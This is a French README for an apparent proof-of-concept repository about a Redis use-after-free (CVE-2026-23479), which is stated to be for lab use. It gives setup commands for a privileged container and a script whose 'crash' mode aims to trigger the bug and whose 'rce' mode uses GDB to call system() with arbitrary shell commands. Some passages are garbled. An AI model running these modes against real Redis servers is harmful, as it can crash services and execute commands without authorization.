
Preuve de concept avec exploitation assistée par GDB (usage éducatif / laboratoire uniquement)
Use-After-Free dans Redis
unblockClientOnKey()menant à une exécution de code à distance
Preuve de concept avec exploitation assistée par GDB (usage éducatif / en laboratoire uniquement)
CVE-2026-23479 est une vulnérabilité critique de type Use‑After‑Free (UAF) dans les versions de Redis 7.2.0 à 8.6.2.
Le bug réside dans unblockClientOnKey() qui appelle processCommandAndResetClient() sans vérifier sa valeur de retour.
Si le client est libéré pendant cet appel (par exemple à cause d'une éviction), l'appelant continue d'utiliser un pointeur suspendu → UAF.
Un attaquant capable de manipuler le tas après la libération peut parvenir à une exécution de code arbitraire.
Ce dépôt fournit une preuve de concept assistée par GDB qui :
freeClient())system() au même point⚠️ Important : Ceci n'est pas un exploit weaponisé. Il utilise GDB à l'intérieur d'un conteneur Docker privilégié pour simuler ce qu'un véritable attaquant pourrait accomplir après avoir exploité la vulnérabilité avec succès. Utilisez-le uniquement dans votre propre laboratoire ou sur des systèmes pour lesquels vous disposez d'une autorisation explicite de test.
https://github.com/user-attachments/assets/5ce3aff0-e21c-4ad4-8a0b-50b57bdcf9ea
crash, gdb, rce, full--containerXREAD BLOCK fait attendre le client des données de flux.pid 1) à l'intérieur du conteneur.processCommandAndResetClient – la fonction appelée lorsque le client bloqué est retraité.XADD sur le même flux réveille la victime.gdb : appelle freeClient($rdi) → provoque délibérément un SIGSEGV → prouve l'UAF.rce : appelle system("votre commande") → exécute des commandes shell arbitraires en tant qu'utilisateur Redis (root par défaut).Le point d'arrêt se déclenche à chaque fois qu'un client bloqué est débloqué, montrant que le même chemin de code qui contient l'UAF permet également l'exécution de code.
| Branche | Plage vulnérable |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
Le script analyse automatiquement la version de Redis et indique si elle est vulnérable.
apt (par exemple l'image officielle redis:8.6.2)--privileged (nécessaire pour ptrace)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # should return PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
| Mode | Description |
|---|---|
crash | Tente de déclencher l'UAF via une pression mémoire (GDB non requis). Redis peut planter, mais ce n'est pas garanti. |
gdb | Attache GDB et appelle freeClient() au point d'arrêt → force un SIGSEGV (prouve l'UAF). |
rce | Attache GDB et appelle system(cmd) au point d'arrêt → exécute une commande shell à l'intérieur du conteneur. |
full | Exécute d'abord crash ; si Redis ne plante pas, bascule sur gdb. |
| Argument | Défaut | Description |
|---|---|---|
target | (requis) | Adresse IP du serveur Redis |
-p, --port | 6379 | Port Redis |
-m, --mode | full | L'un de crash, gdb, rce, full |
--container | env-redis-vuln-1 | Nom du conteneur Docker |
--cmd | id > /tmp/pwned_by_cve | Commande à exécuter en mode rce |
Remarque : Toutes les commandes sont exécutées depuis la machine hôte, pas à l'intérieur du conteneur Docker.
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
Redis plantera après le défaut de segmentation.
Redémarrer le conteneur :
docker start redis-vuln-local
Redémarrer Redis pour garantir un état propre :
docker restart redis-vuln-local
Lancer l'exploit :
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
Vérifier le fichier de preuve :
docker exec redis-vuln-local ls -l /tmp/pwned
En cas de succès, le fichier existera, prouvant que :
system("touch /tmp/pwned");
a été exécuté à l'intérieur du conteneur Redis.
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
Si Redis se termine de manière inattendue (le conteneur n'est plus en cours d'exécution), l'UAF a probablement été déclenché.
Redémarrez-le avec :
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
Ce mode :
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE